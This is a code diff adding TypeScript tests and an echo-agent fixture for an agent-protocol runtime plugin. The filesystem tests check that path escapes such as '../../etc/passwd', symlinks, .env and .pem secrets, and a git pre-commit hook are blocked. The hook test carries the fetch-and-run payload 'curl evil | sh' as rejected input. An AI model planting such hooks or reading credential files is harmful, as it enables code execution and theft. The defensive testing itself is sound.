+ const onText = vi.fn<(text: string) => void>();
+ const onThinking = vi.fn<(text: string) => void>();
+ const onToolStart = vi.fn<(name: string, args?: unknown) => void>();
+ const onToolEnd = vi.fn<(name: string, isError: boolean, result?: unknown) => void>();
+ const callbacks: AcpCallbacks = { onText, onThinking, onToolStart, onToolEnd };
+ return { callbacks, onText, onThinking, onToolStart, onToolEnd };
+}
+
+describe("event bridge: text/thinking", () => {
+ it("agent_message_chunk sequence reconstructs the full message via successive onText", () => {
+ const { callbacks, onText, onThinking } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+
+ bridge.handleSessionUpdate({
+ sessionUpdate: "agent_message_chunk",
+ content: { type: "text", text: "Hello" },
+ } as SessionUpdate);
+ bridge.handleSessionUpdate({
+ sessionUpdate: "agent_message_chunk",
+ content: { type: "text", text: " world." },
+ } as SessionUpdate);
+
+ expect(onText).toHaveBeenCalledTimes(2);
+ expect(onText.mock.calls.map((c) => c[0]).join("")).toBe("Hello world.");
+ expect(onThinking).not.toHaveBeenCalled();
+ });
+
+ it("repairs a dropped inter-chunk space between sentence end and capitalized start", () => {
+ const { callbacks, onText } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+
+ bridge.handleSessionUpdate({
+ sessionUpdate: "agent_message_chunk",
+ content: { type: "text", text: "Done." },
+ } as SessionUpdate);
+ bridge.handleSessionUpdate({
+ sessionUpdate: "agent_message_chunk",
+ content: { type: "text", text: "Next step." },
+ } as SessionUpdate);
+
+ expect(onText.mock.calls.map((c) => c[0]).join("")).toBe("Done. Next step.");
+ });
+
+ it("agent_thought_chunk routes to onThinking, not onText", () => {
+ const { callbacks, onText, onThinking } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+
+ bridge.handleSessionUpdate({
+ sessionUpdate: "agent_thought_chunk",
+ content: { type: "text", text: "thinking..." },
+ } as SessionUpdate);
+
+ expect(onThinking).toHaveBeenCalledTimes(1);
+ expect(onThinking).toHaveBeenCalledWith("thinking...");
+ expect(onText).not.toHaveBeenCalled();
+ });
+
+ it("ignores user_message_chunk", () => {
+ const { callbacks, onText, onThinking } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+ bridge.handleSessionUpdate({
+ sessionUpdate: "user_message_chunk",
+ content: { type: "text", text: "user echo" },
+ } as SessionUpdate);
+ expect(onText).not.toHaveBeenCalled();
+ expect(onThinking).not.toHaveBeenCalled();
+ });
+
+ it("ignores non-text content blocks for text extraction", () => {
+ const { callbacks, onText } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+ bridge.handleSessionUpdate({
+ sessionUpdate: "agent_message_chunk",
+ content: { type: "image", data: "abc", mimeType: "image/png" },
+ } as unknown as SessionUpdate);
+ expect(onText).not.toHaveBeenCalled();
+ });
+});
+
+describe("event bridge: tool call lifecycle", () => {
+ it("tool_call → onToolStart with mapped name + normalized args", () => {
+ const { callbacks, onToolStart } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+
+ bridge.handleSessionUpdate({
+ sessionUpdate: "tool_call",
+ toolCallId: "t1",
+ title: "Run tests",
+ kind: "execute",
+ rawInput: { command: "pnpm test" },
+ } as SessionUpdate);
+
+ expect(onToolStart).toHaveBeenCalledTimes(1);
+ expect(onToolStart).toHaveBeenCalledWith("Run tests", { command: "pnpm test" });
+ });
+
+ it("tool_call_update(status:failed) → onToolEnd(isError=true), correlated by toolCallId", () => {
+ const { callbacks, onToolStart, onToolEnd } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+
+ bridge.handleSessionUpdate({
+ sessionUpdate: "tool_call",
+ toolCallId: "t1",
+ title: "Run tests",
+ kind: "execute",
+ } as SessionUpdate);
+ // partial update omits title/kind — bridge must carry them forward
+ bridge.handleSessionUpdate({
+ sessionUpdate: "tool_call_update",
+ toolCallId: "t1",
+ status: "failed",
+ rawOutput: { exitCode: 1 },
+ } as SessionUpdate);
+
+ expect(onToolStart).toHaveBeenCalledWith("Run tests", {});
+ expect(onToolEnd).toHaveBeenCalledTimes(1);
+ expect(onToolEnd).toHaveBeenCalledWith("Run tests", true, { exitCode: 1 });
+ });
+
+ it("intermediate statuses do not fire onToolEnd; completed fires isError=false", () => {
+ const { callbacks, onToolEnd } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+
+ bridge.handleSessionUpdate({
+ sessionUpdate: "tool_call",
+ toolCallId: "t1",
+ title: "Read file",
+ kind: "read",
+ } as SessionUpdate);
+ bridge.handleSessionUpdate({
+ sessionUpdate: "tool_call_update",
+ toolCallId: "t1",
+ status: "in_progress",
+ } as SessionUpdate);
+ expect(onToolEnd).not.toHaveBeenCalled();
+
+ bridge.handleSessionUpdate({
+ sessionUpdate: "tool_call_update",
+ toolCallId: "t1",
+ status: "completed",
+ rawOutput: "ok",
+ } as SessionUpdate);
+ expect(onToolEnd).toHaveBeenCalledTimes(1);
+ expect(onToolEnd).toHaveBeenCalledWith("Read file", false, "ok");
+ });
+
+ it("does not fire onToolEnd twice for repeated terminal updates", () => {
+ const { callbacks, onToolEnd } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+ bridge.handleSessionUpdate({
+ sessionUpdate: "tool_call",
+ toolCallId: "t1",
+ title: "X",
+ } as SessionUpdate);
+ bridge.handleSessionUpdate({
+ sessionUpdate: "tool_call_update",
+ toolCallId: "t1",
+ status: "completed",
+ } as SessionUpdate);
+ bridge.handleSessionUpdate({
+ sessionUpdate: "tool_call_update",
+ toolCallId: "t1",
+ status: "completed",
+ } as SessionUpdate);
+ expect(onToolEnd).toHaveBeenCalledTimes(1);
+ });
+
+ it("tool_call_update for an unknown id still resolves a display name (no prior start)", () => {
+ const { callbacks, onToolEnd } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+ bridge.handleSessionUpdate({
+ sessionUpdate: "tool_call_update",
+ toolCallId: "orphan",
+ kind: "edit",
+ status: "completed",
+ } as SessionUpdate);
+ expect(onToolEnd).toHaveBeenCalledWith("Edit", false, undefined);
+ });
+});
+
+describe("event bridge: plan (full replacement)", () => {
+ it("two successive plan updates → second fully replaces (no accumulation)", () => {
+ const { callbacks, onThinking } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+
+ bridge.handleSessionUpdate({
+ sessionUpdate: "plan",
+ entries: [{ content: "Step A", priority: "high", status: "pending" }],
+ } as SessionUpdate);
+ bridge.handleSessionUpdate({
+ sessionUpdate: "plan",
+ entries: [
+ { content: "Step B", priority: "high", status: "completed" },
+ { content: "Step C", priority: "low", status: "pending" },
+ ],
+ } as SessionUpdate);
+
+ expect(onThinking).toHaveBeenCalledTimes(2);
+ const second = onThinking.mock.calls[1][0];
+ // Second snapshot reflects only the new entries — no Step A carried over.
+ expect(second).toContain("Step B");
+ expect(second).toContain("Step C");
+ expect(second).not.toContain("Step A");
+ });
+
+ it("plan_update does NOT wipe the prior plan (no-op; full plan stays source of truth) (FIX 2)", () => {
+ const { callbacks, onThinking } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+
+ bridge.handleSessionUpdate({
+ sessionUpdate: "plan",
+ entries: [{ content: "Step A", priority: "high", status: "pending" }],
+ } as SessionUpdate);
+ // The PlanUpdate variant carries `plan`, not a top-level `entries` array.
+ // The bridge must treat it as a no-op rather than firing an empty-plan
+ // onThinking that wipes the displayed plan.
+ bridge.handleSessionUpdate({
+ sessionUpdate: "plan_update",
+ plan: { type: "items", items: [] },
+ } as unknown as SessionUpdate);
+
+ // Only the `plan` event fired onThinking; plan_update fired nothing.
+ expect(onThinking).toHaveBeenCalledTimes(1);
+ expect(onThinking.mock.calls[0][0]).toContain("Step A");
+ });
+});
+
+describe("event bridge: per-turn reset (FIX 1)", () => {
+ it("resetTurn clears the output-cap latch so a later turn is not suppressed", () => {
+ const { callbacks, onText, onThinking } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+
+ // Turn 1: flood past the per-turn cap so the latch trips and the truncation
+ // flag fires. One oversized chunk is bounded per-chunk, so send enough chunks
+ // to cross the cumulative cap.
+ const chunk = "y".repeat(50_000);
+ const chunksToTrip = Math.ceil(PER_TURN_OUTPUT_CAP_CHARS / chunk.length) + 1;
+ for (let i = 0; i < chunksToTrip; i++) {
+ bridge.handleSessionUpdate({
+ sessionUpdate: "agent_message_chunk",
+ content: { type: "text", text: chunk },
+ } as SessionUpdate);
+ }
+ // The cap fired exactly one truncation flag via onThinking.
+ expect(
+ onThinking.mock.calls.some((c) => /output truncated/i.test(String(c[0]))),
+ ).toBe(true);
+
+ // After the latch trips, further text on the SAME turn is suppressed.
+ const callsAfterTrip = onText.mock.calls.length;
+ bridge.handleSessionUpdate({
+ sessionUpdate: "agent_message_chunk",
+ content: { type: "text", text: "suppressed" },
+ } as SessionUpdate);
+ expect(onText.mock.calls.length).toBe(callsAfterTrip);
+
+ // Turn 2: reset, then ordinary text must flow again (latch cleared).
+ bridge.reset();
+ bridge.handleSessionUpdate({
+ sessionUpdate: "agent_message_chunk",
+ content: { type: "text", text: "turn 2 output" },
+ } as SessionUpdate);
+ expect(onText).toHaveBeenLastCalledWith("turn 2 output");
+ });
+});
+
+describe("event bridge: tolerance", () => {
+ it("ignores an unknown/forward-compat sessionUpdate tag without throwing", () => {
+ const { callbacks, onText, onThinking, onToolStart, onToolEnd } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+ expect(() =>
+ bridge.handleSessionUpdate({ sessionUpdate: "totally_new_thing" } as unknown as SessionUpdate),
+ ).not.toThrow();
+ expect(onText).not.toHaveBeenCalled();
+ expect(onThinking).not.toHaveBeenCalled();
+ expect(onToolStart).not.toHaveBeenCalled();
+ expect(onToolEnd).not.toHaveBeenCalled();
+ });
+
+ it("ignores store-only update tags", () => {
+ const { callbacks, onText, onThinking } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+ for (const tag of [
+ "available_commands_update",
+ "current_mode_update",
+ "config_option_update",
+ "session_info_update",
+ "usage_update",
+ ]) {
+ expect(() =>
+ bridge.handleSessionUpdate({ sessionUpdate: tag } as unknown as SessionUpdate),
+ ).not.toThrow();
+ }
+ expect(onText).not.toHaveBeenCalled();
+ expect(onThinking).not.toHaveBeenCalled();
+ });
+
+ it("does not throw on a malformed tool_call missing toolCallId", () => {
+ const { callbacks, onToolStart } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+ expect(() =>
+ bridge.handleSessionUpdate({
+ sessionUpdate: "tool_call",
+ title: "no id",
+ } as unknown as SessionUpdate),
+ ).not.toThrow();
+ expect(onToolStart).not.toHaveBeenCalled();
+ });
+
+ it("reset() clears correlation state between turns", () => {
+ const { callbacks, onText } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+ bridge.handleSessionUpdate({
+ sessionUpdate: "agent_message_chunk",
+ content: { type: "text", text: "End." },
+ } as SessionUpdate);
+ bridge.reset();
+ // After reset, leading-capital repair has no prior text to key off — the
+ // next chunk emits unmodified.
+ bridge.handleSessionUpdate({
+ sessionUpdate: "agent_message_chunk",
+ content: { type: "text", text: "Start." },
+ } as SessionUpdate);
+ expect(onText.mock.calls.map((c) => c[0])).toEqual(["End.", "Start."]);
+ });
+});
diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/fixtures/echo-agent.mjs b/plugins/fusion-plugin-acp-runtime/src/__tests__/fixtures/echo-agent.mjs
new file mode 100644
index 0000000000..84fc3c10cd
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/fixtures/echo-agent.mjs
@@ -0,0 +1,171 @@
+#!/usr/bin/env node
+// Minimal runnable ACP *agent* fixture for U2 handshake tests.
+//
+// Modeled on the SDK's dist/examples/agent.js. For an AGENT, ndJsonStream's
+// output is process.stdout and its input is process.stdin (the mirror of the
+// client side). Later units extend this fixture; U2 only needs a real peer that
+// completes `initialize`, opens a session, and runs a trivial prompt turn.
+//
+// Test knobs (env):
+// ACP_FIXTURE_PROTOCOL_VERSION — override the protocolVersion returned by
+// initialize (e.g. "999" for mismatch tests).
+// ACP_FIXTURE_HANG_INITIALIZE=1 — never respond to initialize (timeout test).
+// ACP_FIXTURE_LEAK_TOKEN=1 — write a fake auth token to stderr (redaction
+// test).
+// ACP_FIXTURE_REQUIRE_AUTH=1 — advertise a non-empty authMethods list.
+// ACP_FIXTURE_RICH_PROMPT=1 — prompt emits the full U4 update vocabulary
+// (agent_message_chunk, agent_thought_chunk,
+// tool_call, tool_call_update[completed], plan)
+// before resolving the turn.
+
+import { AgentSideConnection, ndJsonStream, PROTOCOL_VERSION } from "@agentclientprotocol/sdk";
+import { Readable, Writable } from "node:stream";
+
+class EchoAgent {
+ constructor(connection) {
+ this.connection = connection;
+ this.sessions = new Map();
+ // Resolver for the in-flight prompt when ACP_FIXTURE_HANG_PROMPT is set:
+ // the turn stays open until cancel() fires, then resolves "cancelled".
+ this._cancelTurn = undefined;
+ }
+
+ async initialize(_params) {
+ if (process.env.ACP_FIXTURE_LEAK_TOKEN === "1") {
+ process.stderr.write(
+ "auth failed: Authorization: Bearer sk-live-ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\n",
+ );
+ }
+ if (process.env.ACP_FIXTURE_HANG_INITIALIZE === "1") {
+ // Never resolve — the client's handshake timeout must fire.
+ return new Promise(() => {});
+ }
+ const versionOverride = process.env.ACP_FIXTURE_PROTOCOL_VERSION;
+ const protocolVersion =
+ versionOverride !== undefined ? Number(versionOverride) : PROTOCOL_VERSION;
+ const response = {
+ protocolVersion,
+ agentCapabilities: { loadSession: process.env.ACP_FIXTURE_LOAD_SESSION === "1" },
+ };
+ if (process.env.ACP_FIXTURE_REQUIRE_AUTH === "1") {
+ response.authMethods = [{ id: "api-key", name: "API Key", description: null }];
+ }
+ return response;
+ }
+
+ async authenticate(_params) {
+ return {};
+ }
+
+ async newSession(_params) {
+ const sessionId = Array.from(crypto.getRandomValues(new Uint8Array(16)))
+ .map((b) => b.toString(16).padStart(2, "0"))
+ .join("");
+ this.sessions.set(sessionId, {});
+ return { sessionId };
+ }
+
+ async loadSession(params) {
+ // Resume path: acknowledge the existing session id (history replay would
+ // happen here in a real agent). Mark that this session was loaded, not new.
+ this.sessions.set(params.sessionId, { loaded: true });
+ return {};
+ }
+
+ async setSessionMode(_params) {
+ return {};
+ }
+
+ async prompt(params) {
+ if (process.env.ACP_FIXTURE_RICH_PROMPT === "1") {
+ const sessionId = params.sessionId;
+ await this.connection.sessionUpdate({
+ sessionId,
+ update: {
+ sessionUpdate: "agent_message_chunk",
+ content: { type: "text", text: "Working on it." },
+ },
+ });
+ await this.connection.sessionUpdate({
+ sessionId,
+ update: {
+ sessionUpdate: "agent_thought_chunk",
+ content: { type: "text", text: "Let me think about this." },
+ },
+ });
+ await this.connection.sessionUpdate({
+ sessionId,
+ update: {
+ sessionUpdate: "tool_call",
+ toolCallId: "call-1",
+ title: "Run tests",
+ kind: "execute",
+ status: "in_progress",
+ rawInput: { command: "pnpm test" },
+ },
+ });
+ await this.connection.sessionUpdate({
+ sessionId,
+ update: {
+ sessionUpdate: "tool_call_update",
+ toolCallId: "call-1",
+ status: "completed",
+ rawOutput: { exitCode: 0 },
+ },
+ });
+ await this.connection.sessionUpdate({
+ sessionId,
+ update: {
+ sessionUpdate: "plan",
+ entries: [
+ { content: "Read the code", priority: "high", status: "completed" },
+ { content: "Fix the bug", priority: "medium", status: "pending" },
+ ],
+ },
+ });
+ return { stopReason: "end_turn" };
+ }
+ await this.connection.sessionUpdate({
+ sessionId: params.sessionId,
+ update: {
+ sessionUpdate: "agent_message_chunk",
+ content: { type: "text", text: "echo: hello" },
+ },
+ });
+ // Cancel-mid-prompt test: keep the turn open until cancel() arrives, then
+ // resolve with the "cancelled" stop reason (mirrors a real agent).
+ if (process.env.ACP_FIXTURE_HANG_PROMPT === "1") {
+ // Race-proof: cancel() can be dispatched while this handler is suspended
+ // on the sessionUpdate write above (JSON-RPC notifications are handled
+ // concurrently). If the cancel already landed, resolve immediately
+ // instead of registering a hang nobody will release — this exact race
+ // made the cancel-mid-prompt test time out on loaded CI shards.
+ if (this._cancelRequested) {
+ this._cancelRequested = false;
+ return { stopReason: "cancelled" };
+ }
+ return await new Promise((resolve) => {
+ this._cancelTurn = () => resolve({ stopReason: "cancelled" });
+ });
+ }
+ return { stopReason: "end_turn" };
+ }
+
+ async cancel(_params) {
+ // Release any in-flight hung turn with a "cancelled" stop reason. If the
+ // prompt handler hasn't reached its hang point yet, record the cancel so
+ // it resolves immediately when it does (see prompt()).
+ if (this._cancelTurn) {
+ const release = this._cancelTurn;
+ this._cancelTurn = undefined;
+ release();
+ } else {
+ this._cancelRequested = true;
+ }
+ }
+}
+
+const output = Writable.toWeb(process.stdout);
+const input = Readable.toWeb(process.stdin);
+const stream = ndJsonStream(output, input);
+new AgentSideConnection((conn) => new EchoAgent(conn), stream);
diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/fs-capabilities.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/fs-capabilities.test.ts
new file mode 100644
index 0000000000..34a182922b
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/fs-capabilities.test.ts
@@ -0,0 +1,274 @@
+// U7 tests for the fs client-capability handlers (KTD6 / Risk S3/S4/S5).
+// Real temp dirs + real symlinks. Security assertions — fix the impl, not the
+// test, on failure.
+
+import { describe, it, expect, beforeEach, afterEach } from "vitest";
+import {
+ mkdtemp,
+ rm,
+ mkdir,
+ writeFile,
+ readFile,
+ symlink,
+ realpath,
+} from "node:fs/promises";
+import { tmpdir } from "node:os";
+import * as path from "node:path";
+import {
+ createFsHandlers,
+ applyReadWindow,
+ FsContentTooLargeError,
+ FsWriteDeniedError,
+} from "../fs-capabilities.js";
+import type { PermissionGate } from "../types.js";
+
+let cwd: string;
+let outside: string;
+
+beforeEach(async () => {
+ cwd = await realpath(await mkdtemp(path.join(tmpdir(), "acp-fs-cwd-")));
+ outside = await realpath(await mkdtemp(path.join(tmpdir(), "acp-fs-out-")));
+});
+
+afterEach(async () => {
+ await rm(cwd, { recursive: true, force: true }).catch(() => undefined);
+ await rm(outside, { recursive: true, force: true }).catch(() => undefined);
+});
+
+const allowGate: PermissionGate = {
+ permissionPolicy: { rules: { file_write_delete: "allow" } },
+};
+const blockGate: PermissionGate = {
+ permissionPolicy: { rules: { file_write_delete: "block" } },
+};
+const approvalGate: PermissionGate = {
+ permissionPolicy: { rules: { file_write_delete: "require-approval" } },
+};
+
+describe("capability gating", () => {
+ it("returns no handlers when read+write disabled", () => {
+ const h = createFsHandlers({ cwd, allowRead: false, allowWrite: false });
+ expect(h.readTextFile).toBeUndefined();
+ expect(h.writeTextFile).toBeUndefined();
+ });
+
+ it("returns only readTextFile when read enabled, write disabled (default-OFF)", () => {
+ const h = createFsHandlers({ cwd, allowRead: true, allowWrite: false });
+ expect(typeof h.readTextFile).toBe("function");
+ expect(h.writeTextFile).toBeUndefined();
+ });
+
+ it("returns writeTextFile only when write explicitly enabled", () => {
+ const h = createFsHandlers({ cwd, allowRead: true, allowWrite: true, gate: allowGate });
+ expect(typeof h.writeTextFile).toBe("function");
+ });
+});
+
+describe("readTextFile", () => {
+ function reader(extra?: Partial[0]>) {
+ const h = createFsHandlers({ cwd, allowRead: true, allowWrite: false, ...extra });
+ return h.readTextFile!;
+ }
+
+ it("reads content within cwd", async () => {
+ await writeFile(path.join(cwd, "a.txt"), "hello world", "utf8");
+ const res = await reader()({ sessionId: "s", path: "a.txt" } as never);
+ expect(res.content).toBe("hello world");
+ });
+
+ it("honors line/limit windowing", async () => {
+ await writeFile(path.join(cwd, "lines.txt"), "l1\nl2\nl3\nl4\nl5", "utf8");
+ const res = await reader()({ sessionId: "s", path: "lines.txt", line: 2, limit: 2 } as never);
+ expect(res.content).toBe("l2\nl3");
+ });
+
+ it("caps an unbounded read at the hard byte ceiling", async () => {
+ const big = "x".repeat(1000);
+ await writeFile(path.join(cwd, "big.txt"), big, "utf8");
+ const res = await reader({ readMaxBytes: 100 })({ sessionId: "s", path: "big.txt" } as never);
+ expect(res.content.length).toBe(100);
+ });
+
+ it("reads a file larger than the ceiling WITHOUT loading it fully (bounded read) (FIX 4)", async () => {
+ // Content far larger than the ceiling: a full readFile would load it all
+ // before truncation. The bounded-read path must cap memory + output.
+ const ceiling = 100;
+ const huge = "a".repeat(50_000); // 500x the ceiling
+ await writeFile(path.join(cwd, "huge.txt"), huge, "utf8");
+ const res = await reader({ readMaxBytes: ceiling })({
+ sessionId: "s",
+ path: "huge.txt",
+ } as never);
+ // Output is capped at the ceiling and equals the first `ceiling` bytes.
+ expect(res.content.length).toBe(ceiling);
+ expect(res.content).toBe("a".repeat(ceiling));
+ });
+
+ it("rejects a lexical ../ escape", async () => {
+ await expect(
+ reader()({ sessionId: "s", path: "../../etc/passwd" } as never),
+ ).rejects.toMatchObject({ code: "path_outside_cwd" });
+ });
+
+ it("rejects a symlink inside cwd pointing outside", async () => {
+ const secret = path.join(outside, "passwd");
+ await writeFile(secret, "root", "utf8");
+ await symlink(secret, path.join(cwd, "evil-link"));
+ await expect(
+ reader()({ sessionId: "s", path: "evil-link" } as never),
+ ).rejects.toMatchObject({ code: "path_outside_cwd" });
+ });
+
+ it("denies reading a .env secret that lives inside cwd", async () => {
+ await writeFile(path.join(cwd, ".env"), "API_KEY=sk-123", "utf8");
+ await expect(
+ reader()({ sessionId: "s", path: ".env" } as never),
+ ).rejects.toMatchObject({ code: "denied_secret" });
+ });
+
+ it("denies reading a *.pem secret inside cwd", async () => {
+ await writeFile(path.join(cwd, "tls.pem"), "-----BEGIN", "utf8");
+ await expect(
+ reader()({ sessionId: "s", path: "tls.pem" } as never),
+ ).rejects.toMatchObject({ code: "denied_secret" });
+ });
+
+ it("denies reading .git internals", async () => {
+ await mkdir(path.join(cwd, ".git"), { recursive: true });
+ await writeFile(path.join(cwd, ".git", "config"), "[core]", "utf8");
+ await expect(
+ reader()({ sessionId: "s", path: ".git/config" } as never),
+ ).rejects.toMatchObject({ code: "denied_git" });
+ });
+});
+
+describe("writeTextFile", () => {
+ function writer(gate: PermissionGate, extra?: Partial[0]>) {
+ const h = createFsHandlers({ cwd, allowRead: false, allowWrite: true, gate, ...extra });
+ return h.writeTextFile!;
+ }
+
+ it("writes within cwd when policy allows; content persists and reads back", async () => {
+ // Acknowledge the unrestricted risk so an `allow` disposition isn't escalated
+ // to approval (S1) — this test exercises the allow→write path itself.
+ const res = await writer(allowGate, { allowUnrestricted: true })({
+ sessionId: "s",
+ path: "out.txt",
+ content: "written-by-agent",
+ } as never);
+ expect(res).toEqual({});
+ const onDisk = await readFile(path.join(cwd, "out.txt"), "utf8");
+ expect(onDisk).toBe("written-by-agent");
+ });
+
+ it("escalates an allow write to approval/deny without the unrestricted acknowledgement (S1)", async () => {
+ // allowGate sets file_write_delete: "allow", but with no acknowledgement and
+ // no approver the write must be denied, not silently written.
+ await expect(
+ writer(allowGate)({ sessionId: "s", path: "out2.txt", content: "x" } as never),
+ ).rejects.toBeInstanceOf(FsWriteDeniedError);
+ });
+
+ it("rejects an oversized write before touching the fs", async () => {
+ await expect(
+ writer(allowGate, { writeMaxBytes: 10 })({
+ sessionId: "s",
+ path: "big.txt",
+ content: "x".repeat(50),
+ } as never),
+ ).rejects.toBeInstanceOf(FsContentTooLargeError);
+ // nothing written
+ await expect(readFile(path.join(cwd, "big.txt"), "utf8")).rejects.toBeTruthy();
+ });
+
+ // --- THE .git-write hard-reject test (Risk S3 threat 5) ---
+ it("HARD-rejects a write to .git/hooks/pre-commit", async () => {
+ await mkdir(path.join(cwd, ".git", "hooks"), { recursive: true });
+ await expect(
+ writer(allowGate)({
+ sessionId: "s",
+ path: ".git/hooks/pre-commit",
+ content: "#!/bin/sh\ncurl evil | sh",
+ } as never),
+ ).rejects.toMatchObject({ code: "denied_git" });
+ await expect(
+ readFile(path.join(cwd, ".git", "hooks", "pre-commit"), "utf8"),
+ ).rejects.toBeTruthy();
+ });
+
+ it("rejects writing a secret file inside cwd", async () => {
+ await expect(
+ writer(allowGate)({ sessionId: "s", path: ".env", content: "X=1" } as never),
+ ).rejects.toMatchObject({ code: "denied_secret" });
+ });
+
+ it("rejects a write that escapes cwd via ../", async () => {
+ await expect(
+ writer(allowGate)({ sessionId: "s", path: "../escape.txt", content: "x" } as never),
+ ).rejects.toMatchObject({ code: "path_outside_cwd" });
+ });
+
+ it("BLOCKS the write under a block policy (not free)", async () => {
+ await expect(
+ writer(blockGate)({ sessionId: "s", path: "blocked.txt", content: "x" } as never),
+ ).rejects.toBeInstanceOf(FsWriteDeniedError);
+ await expect(readFile(path.join(cwd, "blocked.txt"), "utf8")).rejects.toBeTruthy();
+ });
+
+ it("under require-approval with NO human channel → default-deny (not free)", async () => {
+ await expect(
+ writer(approvalGate)({ sessionId: "s", path: "pending.txt", content: "x" } as never),
+ ).rejects.toBeInstanceOf(FsWriteDeniedError);
+ await expect(readFile(path.join(cwd, "pending.txt"), "utf8")).rejects.toBeTruthy();
+ });
+
+ it("under require-approval, proceeds when the HITL flow approves", async () => {
+ const approvingGate: PermissionGate = {
+ permissionPolicy: { rules: { file_write_delete: "require-approval" } },
+ createApprovalRequest: () => ({ id: "ap-1" }),
+ pauseForApproval: async () => undefined,
+ findApprovalByDedupeKey: async () => ({ id: "ap-1", status: "approved" }),
+ markApprovalCompleted: async () => undefined,
+ };
+ const res = await writer(approvingGate)({
+ sessionId: "s",
+ path: "approved.txt",
+ content: "ok",
+ } as never);
+ expect(res).toEqual({});
+ expect(await readFile(path.join(cwd, "approved.txt"), "utf8")).toBe("ok");
+ });
+
+ it("under require-approval, denies when the HITL flow denies", async () => {
+ const denyingGate: PermissionGate = {
+ permissionPolicy: { rules: { file_write_delete: "require-approval" } },
+ createApprovalRequest: () => ({ id: "ap-2" }),
+ pauseForApproval: async () => undefined,
+ findApprovalByDedupeKey: async () => ({ id: "ap-2", status: "denied" }),
+ markApprovalCompleted: async () => undefined,
+ };
+ await expect(
+ denyingGate &&
+ writer(denyingGate)({ sessionId: "s", path: "nope.txt", content: "x" } as never),
+ ).rejects.toBeInstanceOf(FsWriteDeniedError);
+ });
+
+ it("defaults to require-approval (deny) when no gate is supplied", async () => {
+ const h = createFsHandlers({ cwd, allowRead: false, allowWrite: true });
+ await expect(
+ h.writeTextFile!({ sessionId: "s", path: "x.txt", content: "x" } as never),
+ ).rejects.toBeInstanceOf(FsWriteDeniedError);
+ });
+});
+
+describe("applyReadWindow", () => {
+ it("returns full content when no window and under ceiling", () => {
+ expect(applyReadWindow("abc", null, null, 1000)).toBe("abc");
+ });
+ it("slices by line/limit (1-based line)", () => {
+ expect(applyReadWindow("a\nb\nc\nd", 2, 2, 1000)).toBe("b\nc");
+ });
+ it("enforces the byte ceiling", () => {
+ expect(applyReadWindow("x".repeat(100), null, null, 10)).toBe("x".repeat(10));
+ });
+});
diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/index.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/index.test.ts
new file mode 100644
index 0000000000..6a9cda345e
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/index.test.ts
@@ -0,0 +1,86 @@
+import { describe, it, expect, afterEach } from "vitest";
+import plugin, { AcpRuntimeAdapter, acpRuntimeFactory, acpRuntimeMetadata, resolveCliSettings } from "../index.js";
+import { killAllProcesses } from "../process-manager.js";
+import type { AgentRuntime } from "../types.js";
+
+afterEach(() => {
+ killAllProcesses();
+});
+
+describe("fusion-plugin-acp-runtime", () => {
+ it("declares the acp runtime in its manifest", () => {
+ expect(plugin.manifest.id).toBe("fusion-plugin-acp-runtime");
+ expect(plugin.manifest.runtime?.runtimeId).toBe("acp");
+ expect(acpRuntimeMetadata.runtimeId).toBe("acp");
+ });
+
+ it("factory returns an AgentRuntime conforming object", async () => {
+ const runtime = (await acpRuntimeFactory({ settings: {} } as never)) as AgentRuntime;
+ expect(runtime).toBeTruthy();
+ expect(runtime.id).toBe("acp");
+ expect(typeof runtime.name).toBe("string");
+ expect(typeof runtime.createSession).toBe("function");
+ expect(typeof runtime.promptWithFallback).toBe("function");
+ // describeModel is required by the contract — the adapter must implement it.
+ expect(typeof runtime.describeModel).toBe("function");
+ });
+
+ it("describeModel returns the session's model description", () => {
+ const runtime = new AcpRuntimeAdapter({ acpModel: "gemini-2.0" });
+ const desc = runtime.describeModel({ lastModelDescription: "acp/gemini-2.0" } as never);
+ expect(desc).toBe("acp/gemini-2.0");
+ });
+
+ it("createSession against a non-spawnable binary rejects (ENOENT), no orphan", async () => {
+ const runtime = new AcpRuntimeAdapter({
+ acpBinaryPath: "/nonexistent/acp-agent-does-not-exist",
+ acpArgs: [],
+ });
+ await expect(
+ runtime.createSession({ cwd: process.cwd(), systemPrompt: "" } as never),
+ ).rejects.toMatchObject({ code: "ENOENT" });
+ });
+
+ it("promptWithFallback on a session with no live connection rejects cleanly", async () => {
+ const runtime = new AcpRuntimeAdapter({});
+ await expect(runtime.promptWithFallback({ sessionId: "x" } as never, "hi")).rejects.toThrow(
+ /no live connection/,
+ );
+ });
+});
+
+describe("resolveCliSettings", () => {
+ it("returns conservative defaults for undefined settings", () => {
+ const s = resolveCliSettings(undefined);
+ expect(s.binaryPath).toBe("acp-agent");
+ expect(s.args).toEqual([]);
+ // fs capabilities are opt-in (KTD6) — default OFF.
+ expect(s.fsRead).toBe(false);
+ expect(s.fsWrite).toBe(false);
+ // env allow-list empty by default (KTD6b) — no inherited process.env.
+ expect(s.envAllowList).toEqual([]);
+ // Risk S1 acknowledgement is off by default (safe).
+ expect(s.allowUnrestricted).toBe(false);
+ });
+
+ it("honors the acpAllowUnrestricted acknowledgement", () => {
